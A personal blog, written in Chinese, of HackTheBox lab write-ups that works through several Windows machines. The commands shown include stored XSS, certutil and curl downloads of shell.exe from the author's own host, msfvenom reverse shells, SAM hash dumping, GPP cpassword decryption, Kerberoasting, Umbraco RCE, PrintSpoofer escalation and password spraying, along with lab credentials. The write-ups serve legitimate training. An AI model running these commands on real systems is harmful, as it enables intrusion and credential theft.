enum4linux -a 10.10.10.97
|

new note这里有存储型的XSS
果然跟上一个一样 这里需要在contact us触发

而且我这里传上去的是
1
2
3
4
5
6
7
| <script src="http://10.10.16.29:33333/1.js"></script>
<script> document.write('<img src="http://10.10.16.29:33333/2.js">'); </script>
<img src="http://10.10.16.29:33333/3.js">
<script src="http://10.10.16.29:33333/4.js"></script>
certutil -urlcache -split -f http://10.10.16.29:33333/testsuccess
很明显 他把certutil执行了
|
所以传过去的命令将会被执行
1
| certutil -urlcache -split -f http://10.10.16.29:33333/Bankrobber/shell.exe C:\shell.exe | start C:\shell.exe
|
目标机器还是请求下载了 但是并没有被执行 很明显当前目录不允许被写入
我发现拼接命令 一直没办法执行 我才发现 这里并不是命令执行 而是传上去的链接 它会自动点

当我传入一个连接的时候就会被请求 我并不清楚他会不会将文件保存本地 如果存入了我也不知道他会存到哪 因为他是一个php的站 我也传了一个ftshell的php 也没有弹回来

如果这里是XSS 其实还能外带点东西 但是我不清楚他到底是咋运行的 php发起请求?还是php的system eval等发起的
后续研究了半天 都不是那些发起的 如果当前传上去的有多个url 他会分开访问 如果存在’)$等符号 则不会访问 同时我发现
1
| http://10.10.10.97/change_pass.php?password=password1&confirm_password=password1&submit=submit
|
这个可以执行成功 思路就清晰了 把这个传过去让他改密码 而且他的名字我们也有


成功

中间的估计是敲门 下面的是smb的账密和共享文件夹
先试试下面的简单地把

我将这两个文件下载了下来 他俩貌似指向8808端口 尝试看看图片有没有隐写 结果是不存在的 奇怪的是我去我生成了png的md5 在google上没有搜到相同的 这代表这个图片可能不是默认的 而是一种截图?
在稍后思考了一会 我感觉方向又错了 可能这就是8808端口的站点 而iisstart就是 iis默认设置的初始页面 试试看

没问题的 不清楚后端是啥写的 在我strings图片的时候看到了里面包含了.net 可能后端就是c#写的 先传asp不行再传php
1
| msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.29 LPORT=6666 -f asp x> ./back.asp
|

奇怪的是我传上去的back.asp报404 但是他就在目录当中 然后我以为我理解错了 这就不是web目录 然后我传了个1.txt 发现还是能访问的 所以这里限制后缀了?可能需要绕过

我尝试了几个后缀完全不行 我开始尝试php


没有问题 成功解析 但是我那个反弹shell是linux的 这里改一下就行了
一句话

他会定时清空smb共享目录 这里把shell put上去 webshell在执行就OK了


拿到shell了

这个shell连systeminfo都无法执行 还是先看看web站点把
1
2
3
4
5
6
7
| server with default setting (user 'root' with no password) */
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'secnotes');
define('DB_PASSWORD', 'q8N#9Eos%JinE57tke72');
//define('DB_USERNAME', 'root');
//define('DB_PASSWORD', 'qwer1234QWER!@#$');
define('DB_NAME', 'secnotes');
|
数据库账密 可能需要搭隧道将mysql带出来
1
| mysql -h 127.0.0.1 -P 6000 -u secnotes -p'q8N#9Eos%JinE57tke72'
|

搭了隧道之后成功上来了 可惜的是root无法访问 并且没有任何东西
接着翻目录 奇怪的是在我拿到flag的时候 看到Desktop处有一个bash.lnk 指向system里的bash.exe 这一点很奇怪

而且并没有报错 说明是可用的 环境变量存在 尝试了很多命令 都无法执行 在根目录发现了一个ubuntu.zip的压缩包


Distros里面找到了Ubuntu 我开始搜索目录结构看看这是个啥东西
1
2
3
4
5
6
7
8
9
10
11
| AppxBlockMap.xml
AppxManifest.xml
AppxMetadata
AppxSignature.p7x
Assets
images
install.tar.gz
resources.pri
temp
ubuntu.exe
[Content_Types].xml
|

提示我这是子系统? 开始找利用方法
https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/Windows%E6%8F%90%E6%9D%83/WSL%E5%AD%90%E7%B3%BB%E7%BB%9F.md
1
2
3
4
5
6
7
8
| wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
bash文件
bash.exe也可以在C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe
或者,探索WSL的文件系统
C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\
|
第一种 wsl没找到在哪 ./ubuntun.exe config –default-user root执行直接卡死
第二种 bash.exe

可以看到完全没作用
第三种 能找到具体目录

第一件事我就去找了root的history 毕竟linux打了很多了

smb连接提供了账密 那就很简单了 连上去就可以了
1
2
| /opt/impacket/build/scripts-3.12/psexec.py administrator:'u6!4ZwgwOM#^OBf#Nwnh'@10.10.10.97
/opt/impacket/build/scripts-3.12/smbexec.py administrator:'u6!4ZwgwOM#^OBf#Nwnh'@10.10.10.97
|

结束
总体感觉还好 不太熟练的点就是windows提权
10.Bastion
信息收集:


看到第一眼 如果smb没有东西 那么就真的卡死了

还好有匿名能访问的
1
| smbclient -N //10.10.10.134/Backups
|

全下载了下来 有一个文件把我卡死了 它提示不要全部下载 很慢的


就是这个文件 他还在增长 实在太大了 按照提示我没把他下载下来 然后给他删了 太占空间了
其实从这里开始 再根据他开的服务 大概率就是让我自己去找账号密码 除此之外我想不到这个靶场还能怎么做

我使用这个方法挂载了那个比较小的vhd文件 但是打开之后里面为空白 啥都没有 估计在那个大的vhd文件里有东西 但是下载又太慢了 或许走smb服务挂载可能会好点?
搜着搜着 这个博客的ip和方法 跟wp一模一样 所以我还是接着换了

https://medium.com/@klockw3rk/mounting-vhd-file-on-kali-linux-through-remote-share-f2f9542c1f25
这个博客跟刚刚那个方法也一样 也是针对这个lab的
后续我找了很久 基本上都是针对这个lab的 如果说目前没有出来这个靶场 我自行寻找的话 估计会很困难 原理其实很好理解 我刚刚也是下载了半天 太大了 下载又慢 所以他利用了cifs smb文件共享 直接将目标smb服务里的vhd直接挂载到本地 这样的话 在本地进行挨个访问时 再加载 实际使用我反而不会 而且我已经想到后续如何利用了 就是把SAM或者HTDS.dit拖出来 PTH 或者走winrm 都可以 然后拿到shell 不然我感觉没有其他路能走 除非密码已经被改 需要再去找ssh的密码?

1
2
3
4
5
6
| apt-get install libguestfs-tools
apt-get install cifs-utils
mkdir /mnt/remote
mkdir /mnt/vhd
mount -t cifs //10.10.10.134/backups /mnt/remote -o rw
guestmount --add /mnt/remote/WindowsImageBackup/L4mpje-PC/'Backup 2019-02-22 124351'/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro /mnt/vhd -v
|
需要将 C:\Windows\System32\config下面的SAM文件和SYSTEM文件移出来 改名sam.hiv和system.hiv

然后解密就行了 我的kali种没有这个py文件 我就移到windows解了
1
2
3
4
5
6
| [*] Target system bootKey: 0x8b56b2cb5033d8e2e289c26f8939a25f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::
[*] Cleaning up...
|
administrator为空密码 大概率还要重新上去提权

在我尝试了大量的登陆操作时 发现一直报错 鉴权失败 尝试了很久 才想起来还有个22端口没用

成功上来了 这里省略很久 我一直在翻文件 但是啥都没有 后续我想到可以sudo su之类的 但是这明显不行 不现实 突然就想通了 既然我现在是ssh 那么是不是也可以用公钥连上来?毕竟SAM告诉我 这个密码为空 虽然不一定为空 所以现在去找公钥
在这里找到了配置文件

但是PubkeyAuthentication被注释了 貌似不允许公钥登录

但是我在最下面找到了一个匹配组管理员的公钥?


但是完全没有权限

我尝试再回到挂载处 再去找备份挨个翻 我在那里没有尝试翻过 ssh目录


啥也没有
这里我完全卡死了 我没有先看wp 我看了hackthebox的下一步提示

也就是还有个远程连接工具?
成功找到了

根据提示
https://github.com/mRemoteNG/mRemoteNG/issues/1963


password
1
| aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==
|
https://www.errno.fr/mRemoteNG.html
https://github.com/gquere/mRemoteNG_password_decrypt/ #解密脚本
因为复制会导致格式混乱 所以我用smb把他传了出来
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| smbserver.py kali .
copy .\confCons.xml \\10.10.16.29\kali\confCons.xml
python mremoteng_decrypt.py confCons.xml
result:
Name: DC
Hostname: 127.0.0.1
Username: Administrator
Password: thXLHM96BeKL0ER2
Name: L4mpje-PC
Hostname: 192.168.1.75
Username: L4mpje
Password: bureaulampje
|

结束
难度还好 getshell部分 如果没有后来者写的博客来提示远程挂载的用法 或许我会找很久 提权的部分卡住了 没有仔细去翻每个程序 我当时只翻了 Program Files 没有翻Program Files (x86) 还是依靠hackthebox的闯关模式 提交了user的flag才得到的下一步 还是得多练吧
清除挂载 不清除会有点卡
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| # 先切换出挂载目录
cd /
# 检查进程
lsof | grep '/mnt/vhd'
fuser -mv /mnt/vhd
# 结束相关进程
kill <pid> # 或 kill -9 <pid> 强制结束
# 卸载VHD
guestunmount /mnt/vhd
# 如果不行,尝试:
fusermount -u /mnt/vhd
# 卸载CIFS共享
umount /mnt/remote
# 如果提示busy,可以用:
umount -l /mnt/remote # 懒惰卸载
# 或
umount -f /mnt/remote # 强制卸载
# 最后删除挂载点
rmdir /mnt/vhd
rmdir /mnt/remote
|
11.Buff
信息收集:


8080端口是一个健身房的网站 根据这个网站的readme.md文件 经过一番搜索 我找到了项目地址
https://projectworlds.in/free-projects/php-projects/gym-management-system-project-in-php/

这里有个初始密码 但是已经被改了
我将项目下载了下来 这里有个默认用户 但是账密被改了

然后我开始代码审计 发现upload.php 貌似没有进行鉴权

然后我在搜索exp的时候 还真有CVE编号 为了防止是靶场出来的后来者写的
https://www.exploit-db.com/exploits/48506


很明显 这个靶场出来之前 那个exp就有了 所以不是别人写的wp
其实自行利用也简单 构造文件上传的请求包确实有点麻烦 但是我在本地搭建好 捕获到请求包之后 其实改个ip也可以实现 这里直接用exp把

确实方便 开始提权把
此处省略很久 我尝试上传exe反弹shell 尝试了很久 完全没效果 smb和certutil都不行
上传的shell打不开 尝试了很久 最终解决了
1
2
3
| # 这个可以上传
curl http://10.10.16.29:33333/reserver_shell/shell296666.exe -o .\shell.exe
PHP Ivan Sincek 也可以反弹shell
|

提权:
貌似并没有连接数据库

但是数据库确实开了


我说怎么用不了
后续动不动就断线 然后就动不了

后续换了openvpn节点就好了
我在shaun的download目录下找到了CloudMe_1112.exe
搜到了

根据提示 我尝试启动CloudMe_1112.exe 结果在本地真开启了 我不确定以shaun用户启动再进行缓冲区溢出是否能获取administrator权限 但还是试试把

但是这个是启动在本地的 需要搭建隧道
frp搭建隧道已经很多次了 这里就不放了 exp稍微改改就行 根据提示需要生成shellcode
1
2
| # 根据他的提示不使用CMD 其实就是在后面加个LHOST=10.10.16.2 LPORT=3334就行
msfvenom -a x86 -p windows/shell_reverse_tcp -b '\x00\x0A\x0D' -f python LHOST=10.10.16.2 LPORT=3334
|
因为生成的是buf

所以复制完加一条 payload = buf 就行


执行成功后无任何回显

结束
这个靶场也还好 getshell的部分不难理解 就是反弹shell的时候特别麻烦 应该是网卡的原因 但还好都是常规流程 唯一就是要多学windows的提权部分 在之前都是在Program Files这些里面找程序 这次在用户目录里找到了 还是花了很多时间的
12.ServMon

评分属实有点低了
信息收集:


smb没有匿名登录

ftp匿名登录有两个文件

根据提示 nathan的Passwords.txt 被放到了桌面 然后就是Nathan的笔记 他已经修改了密码 然后锁住了NSClient的访问? 下面还有上传密码 他还有个秘密文件在sharepoint 删除公开的NVMS访问(这个没做到 不然我也无法访问)

果然有个任意文件读取的漏洞 可以把password读出来了
不知道为啥exp打不了 手动才行 貌似是我的参数问题


password读了出来 目前靶机开放的服务有很多 这些密码得挨个试
1
2
3
4
5
6
7
8
9
| nathan
1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$
|
这个密码我在ftp ssh用hydra都不行 smb hydra不知道咋回事爆破不了
80端口的NVMS服务确实也无法访问 8443端口的NSClient跟他所说的一样 被关闭了

在手动试试smb 结果也没有一个密码正确
之前试的都是nathan用户 其实还有一个Nadine没试

成功

拿到了shell
开始提权:
根据提示 我先去找sharepoint里的密码文件 以及他说他要上传password 我不清楚这个password是指的passwords.txt那个文件还是什么 跟着一起找找吧
password应该找不到了 因为当前用户没有nathan的访问权 唯一一个任意文件读取 还不知道目录结构 所以这个没办法 简单的信息收集完了 nadine家目录里没有隐藏什么文件 还是先扫一下吧
1
| curl http://10.10.16.2:33333/winPEASany.exe -o .\winPEASany.exe
|

传上去立马被删了 systeminfo也不让看 那就先去看看他说的sharepoint把

在找sharepoint的时候发现了sshconfig 但很可惜不让公钥认证 不然还能读一下nathan的公钥

NSClient++的密码NSC.ini也没找到 后续没找到sharepoint 完全没那个目录
后续我开始搜exp 发现NSClient++貌似存在本地用户提权 我在本地没有找到版本文件 但是还是按着来看看吧 主要是他的教程提到了另一个密码文件
https://www.exploit-db.com/exploits/46802


果然他这个教程是有效的
1
| password = ew2x6SsGTxjRwXOT
|
第二步提示要启动这些模块


我想查看启动参数是否包含这些 但很可惜无法访问 那就只能默认他携带了这些参数

我看教程貌似要用的web页面 根据他的端口占用来看 8443就是可以被所有IP访问 并不存在启动在本地的情况 但是它提示过了NSClient++是被锁住了 无法访问 目前我先尝试在本地访问一下
后续在搜索的时候 发现有一些脚本 是通过API来实现的 也就是我们不用去手点了 并且我传了一个免杀的netcat 才没有被杀掉 也就是说靶机上有杀毒软件

我尝试了这些exp 但都无一例外报错 我尝试在本地访问一下

他会直接卡死 这种情况

而且这台靶机 没有python.exe 如果有的话我还能传exp上去本地执行 这样看来 就只能frp搭隧道了
搭好隧道结果https没有解析成功 导致本地还是无法访问
到了这一步我只能将那些exp打包成exe 然后传上去使用了 因为我一直觉得本地应该是能访问的

成功了

项目地址:https://github.com/xtizi/NSClient-0.5.2.35—Privilege-Escalation/blob/master/exploit.py
我终于明白评分为什么这么低了 但是总体做下来感觉还好 当时我都以为这条路可能行不通 可能得去看看NVMS1000 但是NVMS都是关于目录穿越的漏洞 完全找不到提权 只有NSClient一搜全是RCE和提权 但实际上这条路路上没有完整的攻击链支撑 全都是靠猜 首先我完全无法确定版本 只有一个log文件 我看到时间最多是2016年 其次本地netcat也没有告诉我 访问了之后这个服务是存在的 所以说我试的时候都感觉不可能了 可能他的提示

也就是告诉我 只能在本地访问 并且sharepoint不光是微软那个 其实也代表web站点的意思 总的来说还算是有意思的一个靶场 评分低的原因 可能就是靶机有杀毒软件 很多工具用不了 在后续我开始尝试如何在本地也能访问https站点

1
2
3
4
5
| # 其实加个-k就行了
curl -k https://localhost:8443/index.html
# 我当时没有加文件 所以他的重定向我没有收到 我就以为为空
# 这里加参数-L 就能跟随
curl -k https://localhost:8443/ -L
|
13.Active
信息收集:

smb

默认有两个文件夹可以匿名访问 还有两个需要登录

users貌似也要登陆
我开始翻那些文件夹的时候 我发现我之前貌似学过这个 SYSVOL
https://xz.aliyun.com/t/1653?time__1311=n4%2BxniitG%3DDtdDKi%3D%3DDs03xCq7KGQ%3D8GeCoK7e4D
https://adsecurity.org/?p=2288

经过一番搜索也是翻到了密码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
| function Get-DecryptedCpassword {
[CmdletBinding()]
Param (
[string] $Cpassword
)
try {
#Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4)
switch ($Mod) {
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ('=' * (4 - $Mod))}
'3' {$Cpassword += ('=' * (4 - $Mod))}
}
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
#Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
#Set IV to all nulls to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}
catch {Write-Error $Error[0]}
}
Get-DecryptedCpassword "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
|

成功解开了
1
2
| active.htb\SVC_TGS
GPPstillStandingStrong2k18
|
先挨个看 接着来SMB服务 然后在看其他的 Users能看了


还真的是Users文件夹 拿到了flag

没有约束委派
接下来尝试了很久 基本都是下面这两个 其实我本应该尝试GetUserSPNs就结束了 因为根据提示就是这样 但是当时我没仔细看报错
1
2
| GetUserSPNs.py DC.active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip active.htb -request
python getST.py -dc-ip active.htb -spn cifs/DC.active.htb -impersonate Administrator active.htb/SVC_TGS:GPPstillStandingStrong2k18
|

下面这个命令可以调整时间 但是调整完过上几秒还是会报错
1
| ntpdate -u active.htb && date
|
https://medium.com/@danieldantebarnes/fixing-the-kerberos-sessionerror-krb-ap-err-skew-clock-skew-too-great-issue-while-kerberoasting-b60b0fe20069
这个教程解决了我的问题 可以调好时间
总而言之拿到了hash

1
| hashcat -m 13100 1.txt /usr/share/wordlists/rockyou.txt
|


PTH

结束
感觉还好 就是熟悉下域环境把 调时钟那个没注意 浪费了点时间 总体还是熟悉域渗透
14.Remote
信息收集:


除了80以外全部挨个看一遍

匿名可以连上 但是没有任何东西 先做保留 可能ftp的目录就是web站点的目录呢
smb没有匿名

nfs 之前打vulnhub用过几次 但是有点久远了 还好有笔记
1
| showmount -e 10.10.10.180
|

1
2
| mkdir ./site_backups
mount -t nfs 10.10.10.180:/site_backups ./site_backups
|

现在啥都有了 该去看80端口到底是啥了

没发现有什么东西
我开始配合着看一下nfs 这里面的目录结构我算是第一次见 所以我尝试去搜一下了解这是什么结构

搜了很多目录结构 但是还是没有找到主页面 我就直接find了 find的时候加载所有文件 所以有点卡
1
2
3
| find ./ -name *.html
find ./ -name *.aspx
find ./ -name *.asp
|
我发现这些文件集中在一个目录

我去搜了下Umbraco 还真是个框架

而他有很多RCE的漏洞 现在我先去找版本信息
找了几个 提示在管理页面 提示查看应用程序? 还有一个说的还能搜搜 就是在webconfig里 然后我开始找其他webconfig的同时 直接打常见的exp 但是貌似要账密
我开始google加手动搜索账密 google上提示 说账号密码都在数据库 不会在其他地方的

我在搜索的时候发现了版本 这个版本和我看的那个exp一模一样 但是需要账密才能打
在google的时候我终于找到了sql的凭证
https://stackoverflow.com/questions/36979794/umbraco-database-connection-credentials
据他所说文件在App_Data/Umbraco.sdf 而且要将 Umbraco SQL CE 数据库转换为 SQL Express才行
根据他们提供的工具网址已经不能用了 http://sqlcetoolbox.codeplex.com/ 其他的教程也都是安装到vs里的插件 但还是让我搜到了工具
https://github.com/ErikEJ/SqlCeToolbox/releases/download/4.8.732/SqlCe40ToolBox.zip
但是非常难用 他利用的前提是 必须要链接一个数据库才行 不然解不开 这里我完全卡死了 我没想到一个简单难度的能把我卡死 但事实上 我再一次观察这个文件的时候 我发现 cat的时候大部分都是二进制的 所以看起来都是乱码 这个是没问题的 strings的时候虽然也有乱码 但是大部分是清晰可见的

我尝试不用工具 直接strings看看



成功 现在可以打exp了
https://github.com/noraj/Umbraco-RCE/blob/master/exploit.py
1
| python exploit.py -u [email protected] -p baconandcheese -i http://10.10.10.180/ -c ipconfig
|

验证没问题 可以构造exp了
拿shell的路上有点艰难 但好在解决了
1
2
| python exploit.py -u [email protected] -p baconandcheese -i http://10.10.10.180/ -c powershell.exe -a '-NoProfile -Command curl http://10.10.16.2:33333/Remote/shell.exe -o \\users\\Public\\shell.exe'
python exploit.py -u [email protected] -p baconandcheese -i http://10.10.10.180/ -c powershell.exe -a '-NoProfile -Command start \\users\\Public\\shell.exe'
|


上来才想起来 其实还有个ftp的 从ftp传上来 再执行也是没问题的 我还一直再找可写入的文件夹 还一直构造上传

直接烂土豆提权就行了
1
2
| curl http://10.10.16.2:33333/Privilege_Escalation_tool_windows/PrintSpoofer64.exe -o .\PrintSpoofer64.exe
PrintSpoofer64.exe -i -c cmd
|

结束
总体感觉还是还好 毕竟是简单难度 就是找密码那里 我一开始搜索过 这个umbraco的数据库密码在哪 或者说数据库文件在哪 我尝试一直搜索 但都没有说在哪 后续我记不清我搜了啥 就出了这样一个博客 告诉了我这个数据库文件在哪 一开始按照那个博客的方法走 但是他需要链接一个新的数据库才行 后续想了一会 才发现strings是可以看到明文的 接着就是反弹shell的部分 我不清楚为什么不能用cmd的命令 用了没有效果还会报错

还是用的这个exp的教程 拼接命令才解决的 基本上难度都集中在getshell的部分吧
15.Fuse
信息收集:


又是一个域控


ldap

dns

我选择先将这两个域名加入hosts
1
| fuse.fabricorp.local. hostmaster.fabricorp.local
|
除此之外ldap没有拿到其他信息了 目前该收集的都收集完了 该看80端口了
自动重定向了

这么说我在dns那里获得的其实还有一个域名 hostmaster.fabricorp.local 貌似也能派上用场
80端口没有任何办法 我开始把目标接着放到smb和ldap上 我只单独的试了下smb是否能匿名链接 并没有详细的去看 其实还有很多种方法能在smb收集信息
1
2
3
4
5
| enum4linux -a -u "" -p "" <dc-ip> && enum4linux -a -u "guest" -p "" <dc-ip>
smbmap -u "" -p "" -P 445 -H <dc-ip> && smbmap -u "guest" -p "" -P 445 -H <dc-ip>
smbclient -U '%' -L //<dc-ip> && smbclient -U 'guest%' -L //<dc-ip>
cme smb <ip> -u '' -p '' # 枚举可空Session访问的SMB共享
cme smb <ip> -u 'a' -p '' #枚举可匿名访问的SMB共享
|
1
2
3
4
5
| Domain Name: FABRICORP
Domain Sid: S-1-5-21-2633719317-1471316042-3957863514
SMB fabricorp.local 445 FUSE [*] Windows Server 2016 Standard 14393 x64 (name:FUSE) (domain:fabricorp.local) (signing:True) (SMBv1:True)
SMB fabricorp.local 445 FUSE [+] fabricorp.local\:
|
ldap我也看了 没有啥东西 80端口也没东西 我开始尝试爆破子域名 可能可能会给我一些结果
1
2
| dnsenum fabricorp.local --dnsserver 10.10.10.193
wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.193 -H "Host: FUZZ.fabricorp.local" --hh 103
|

发现了一个奇怪的地方 有一个85的ip在域控的dns记录里 也就是现在有一个域环境?85这台是域内主机?最终子域名全跑完了 一个都没有
我把所有的信息整合到一起之后 发现貌似没一处漏洞 搞得现在很乱 不清楚到底是什么情况
我开始把目光从smb dns ldap上移开 尝试继续看看80端口 主要是现在必须得拿一个账号或者用户名都可以 这样才能收集到更多信息
将我的想法写下来之后 想到这里我突然就醒悟了 这个80端口的网站 它显示了历史的打印日志 日志里面不是有用户名吗?我之前明明看到过
1
2
3
4
5
| pmerton
tlavel
sthompson
bhult
administrator
|
剩下就爆破了 我这里也是挨个爆破挨个来

先试试 ASREP-Roasting攻击


都试了 都不行 根据我所学的 到目前基本卡死了 最后还有两条路 一个adws没接触过 看看是啥 一个去找字典再爆破
我搜了adws方面的漏洞 只有一个

HTLM中继我试过其他的方法 但是ADWS是我第一次了解到
https://clement.notin.org/blog/2020/11/16/ntlm-relay-of-adws-connections-with-impacket/
https://www.youtube.com/watch?v=Blh9LAF92ro
这两个我看完了 他讲了ADWS中继 但是HTLM认证是要账密的 所以这个完全没用
那就剩最后一种方法了 我个人不是特别喜欢爆破 因为总感觉没什么东西

弱口令也没爆破出来 我没有打算使用cewl去获取字典 因为看了一下也没什么获取的 总之完全卡死了
目前所学的所有技巧都无法去获得信息 先通过hackthebox的闯关提示来获得信息看看

找到了提示 也就是那些用户实际上是存在弱口令的? 还是老实用cewl获取密码来爆破把
还是很可惜 完全没有结果 这里我不得不看wp了 在之前闲下来的时候看别人考oscp总结的经验就是一定要准备好字典 有很多地方需要进行爆破的 如果是我字典的问题 刚好就让这个靶场扩充一下我的字典
1
2
3
4
| cewl http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers > wordlist
cewl -d 5 -m 3 --with-numbers -w passwords.txt http://fuse.fabricorp.local/papercut/logs/html/index.htm
cewl -w passfile.txt http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers
cewl -w pwd.txt --with-numbers http://fuse.fabricorp.local/papercut/logs/html/index.htm
|
这是我翻到的好几个博客的这一步 这一步其实没有过多解释 就是要加数字 加–with-numbers参数
1
2
| cewl http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers > wordlist
crackmapexec smb fabricorp.local -u user.txt -p wordlist
|
1
2
3
| # 拿到了两个账密 但都提示STATUS_PASSWORD_MUST_CHANGE 密码需要更改
fabricorp.local\bhult:Fabricorp01
fabricorp.local\tlavel:Fabricorp01
|

所以说我现在需要进行登录
我开始尝试能登陆的点 根据开放的服务 我可以去找 rpc smb ldap winrm 但是全都提示 NT_STATUS_PASSWORD_MUST_CHANGE
我咋感觉这密码拿到了跟没拿没啥区别
https://www.n00py.io/2021/09/resetting-expired-passwords-remotely/
这个博客介绍了如何远程更改密码 我尝试一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| ┌──(root㉿kali)-[/usr/share/wordlists/SecLists-master/Passwords]
└─# smbpasswd -r 10.10.10.193 -U bhult
Old SMB password:
New SMB password:
Retype new SMB password:
machine 10.10.10.193 rejected the password change: Error was : The transport connection is now disconnected..
┌──(root㉿kali)-[/usr/share/wordlists/SecLists-master/Passwords]
└─# smbpasswd -r 10.10.10.193 -U tlavel
Old SMB password:
New SMB password:
Retype new SMB password:
machine 10.10.10.193 rejected the password change: Error was : The transport connection is now disconnected..
┌──(root㉿kali)-[/usr/share/wordlists/SecLists-master/Passwords]
└─# smbpasswd -r fabricorp.local -U tlavel
Old SMB password:
New SMB password:
Retype new SMB password:
machine fabricorp.local rejected the password change: Error was : The transport connection is now disconnected..
┌──(root㉿kali)-[/usr/share/wordlists/SecLists-master/Passwords]
└─# smbpasswd -r fabricorp.local -U bhult
Old SMB password:
New SMB password:
Retype new SMB password:
machine fabricorp.local rejected the password change: Error was : The transport connection is now disconnected..
|
一直提示无法连接 人都麻了 它提示本地不能
https://daniel-schwarzentraub.medium.com/tryhackme-boot-to-root-room-razorblack-8b4ec8ec5118
这是另外一个靶场的wp 他也是这样 他选择了用impacket-smbpasswd 来更改
根据提示我找到了这个 https://github.com/snovvcrash/impacket/blob/smbpasswd/examples/smbpasswd.py
终于成功了

结果密码还是没有被改 还是原来的密码
用下面这个 终于成功了
我能使用rpc去连接 然后断开了之后 密码又变回去了 我去网上找了个随机密码
1
2
3
4
5
6
7
8
9
10
11
12
13
| smbclient -L //10.10.10.193/ -U bhult
Password for [WORKGROUP\bhult]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
HP-MFT01 Printer HP-MFT01
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
print$ Disk Printer Drivers
SYSVOL Disk Logon server share
SMB1 disabled -- no workgroup available
|
现在能做很多事情了 (貌似是一分钟刷新一次 还是连接之后立马刷新 反正就是这两种逻辑中的一种)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[svc-print] rid:[0x450]
user:[bnielson] rid:[0x451]
user:[sthompson] rid:[0x641]
user:[tlavel] rid:[0x642]
user:[pmerton] rid:[0x643]
user:[svc-scan] rid:[0x645]
user:[bhult] rid:[0x1bbd]
user:[dandrews] rid:[0x1bbe]
user:[mberbatov] rid:[0x1db1]
user:[astein] rid:[0x1db2]
user:[dmuir] rid:[0x1db3]
|
1
2
3
4
| GetUserSPNs.py fabricorp.local/bhult:YcfOrivT1QUp -dc-ip 10.10.10.193 -request
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
No entries found!
|
1
2
3
4
5
6
| rpcclient -U "tlavel%9VwzPigFmknx" -c 'enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit' 10.10.10.193
RPC枚举的字典在后面 可以直接将所有信息筛出来 下面有一个有用的信息
flags:[0x800000]
name:[\\10.10.10.193\HP-MFT01]
description:[\\10.10.10.193\HP-MFT01,HP Universal Printing PCL 6,Central (Near IT, scan2docs password: $fab@s3Rv1ce$1)]
|
我尝试登录scan2docs 但很可惜登陆不上 后续我还是选择进行爆破 上面还有其他账号
1
| crackmapexec smb fabricorp.local -u username.txt -p "\$fab@s3Rv1ce\$1" --continue-on-success
|

1
| svc-print:$fab@s3Rv1ce$1
|

没问题 能访问 但是并没有其他的目录 我尝试接着使用winrm看看能不能获得shell
1
| crackmapexec winrm fabricorp.local -u username.txt -p "\$fab@s3Rv1ce\$1" --continue-on-success
|

1
